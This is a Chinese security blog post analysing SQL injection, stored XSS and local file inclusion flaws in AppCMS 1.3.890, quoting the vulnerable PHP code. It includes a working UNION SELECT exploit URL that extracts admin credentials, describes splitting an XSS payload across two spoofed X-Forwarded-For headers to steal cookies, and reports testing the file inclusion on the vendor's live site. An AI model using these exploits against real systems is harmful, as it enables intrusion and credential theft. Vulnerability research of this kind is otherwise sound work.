记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

AppCMS注入及评论xss漏洞

2013-12-27 11:00
0x02 SQL注入原理

  下载最新版本appcms_1.3.890。
  查看index.php,有一段似乎是限制了搜索词的代码:
      if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) {
          die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
      }
  所以当我们在首页搜索含有’的关键词时会有提示:

04.jpg

  但我们往前看,却发现了一段输出ajax的代码,这时候并没有过滤……所以注入由此产生:


//ajax请求联想关键字

2.    if (trim($_GET['q']) != '' && !isset($_GET['tpl'])) {

3.   $str = '';

4.   $sql = "SELECT app_id,app_title,app_down FROM " . TB_PREFIX . "app_list WHERE app_title LIKE '%" . trim($_GET['q']) . "%' LIMIT 15";

5.   $app_list = $dbm ->query($sql);

6.   if (count($app_list['list']) > 0) {

7.   foreach ($app_list['list'] as $k => $v){

8.   $app_list['list'][$k]['app_title'] = helper :: utf8_substr($v['app_title'], 0, 20);

9.   }

10.   echo json_encode($app_list['list']);

11.   exit;

12.   } else {

13.   exit;

14.   }

15.   }


  当$_GET[‘q’]非空且$_GET[‘tpl’]为空时进入这个IF,因为刚才我们搜索的时候参数是这样:?tpl=search&q='sd,所以才没有进入这个if。
  我们看到这个if语句中,直接把trim($_GET[‘q’])带入了select语句,造成了注入。
  给出利用exp:


index.php?q=xxoo'union select 1,uname,upass from appcms_admin_list where uid like '


     不过爆出了管理员密码也有点鸡肋,因为这个cms强制让用户修改后台地址。所以,我们需要想点方法弄到后台地址。于是,下面这个xss由此产生。


<span: 700;"="">0x03 XSS原理

comment.php 获得IP地址,并插入数据库:

/**

2. * 获取客户端IP地址

3. */

4. public static function getip() {

5. $onlineip = '';

6. if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {

7. $onlineip = getenv('HTTP_CLIENT_IP');

8. } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {

9. $onlineip = getenv('HTTP_X_FORWARDED_FOR');

10. } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {

11. $onlineip = getenv('REMOTE_ADDR');

12. } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {

13. $onlineip = $_SERVER['REMOTE_ADDR'];

14. }

15. return $onlineip;

16.  }



 当HTTP_X_FORWARDED_FOR存在时获取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以伪造的,所以造成了XSS代码的注入。
  但在数据库中,ip这个字段限制了字数,只有20字,所以绕过成为了难点。

  所以我们来构造。
  首先留一条言,内容是我们要写的xss代码,我这里就简单的弹出窗口:

         05.jpg

发表的时候抓包,修改X-FORWARDED-FOR,写半个闭合的script:


         06.jpg

然后刷新页面后再次写一条留言,内容就无所谓了,仍然是抓包,写前半个script标签:


         07.jpg

这时任务就算完成了,实战的话就坐等接收cookie和后台地址了。

我们可以来到管理员页面 - 查看评论,可以看到窗口已经弹了:


        

我们看看源码:


         08.jpg

看懂了吗,两次插入的内容正好闭合了,中间用注释符注释掉,然后第一次插入的评论内容就是我们的javascript代码,而这个代码的两遍用注释符再闭合掉就可以了。

我们运用两次留言成功构造了一个xss,绕过了最大长度为20的限制。


0x04 LFI
除了上面两个已经成功的漏洞以外,index.php里还存在一个本地文件包含,不过需要进行截断


if (substr($tpl, strlen($tpl)-4, 4) == '.php') {

2. $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;

3. } else {

4. $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';

5. }

6. if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);

7. require(dirname(__FILE__) . $tmp_file);


判断后缀是不是php,如果不是就加上.php,然后判断文件是否存在,进行包含。并没有任何过滤。其中最初的这个$tpl就是$_GET['tpl']。
官网测试:
09.jpg
成功包含了数据库配置文件,因为重复包含,所以出错了。
我试过截断包含一些日志文件或其他文件( 可惜前台不能上传 ),但不知道为什么都没有成功,如果大家有什么好思路也可以跟我说说。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
大礼包到此结束,希望大家能学到知识,而不是又得到了很多服务器

知识来源: www.2cto.com/Article/201312/268095.html

阅读:180736 | 评论:0 | 标签:xss 注入 cms 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“AppCMS注入及评论xss漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云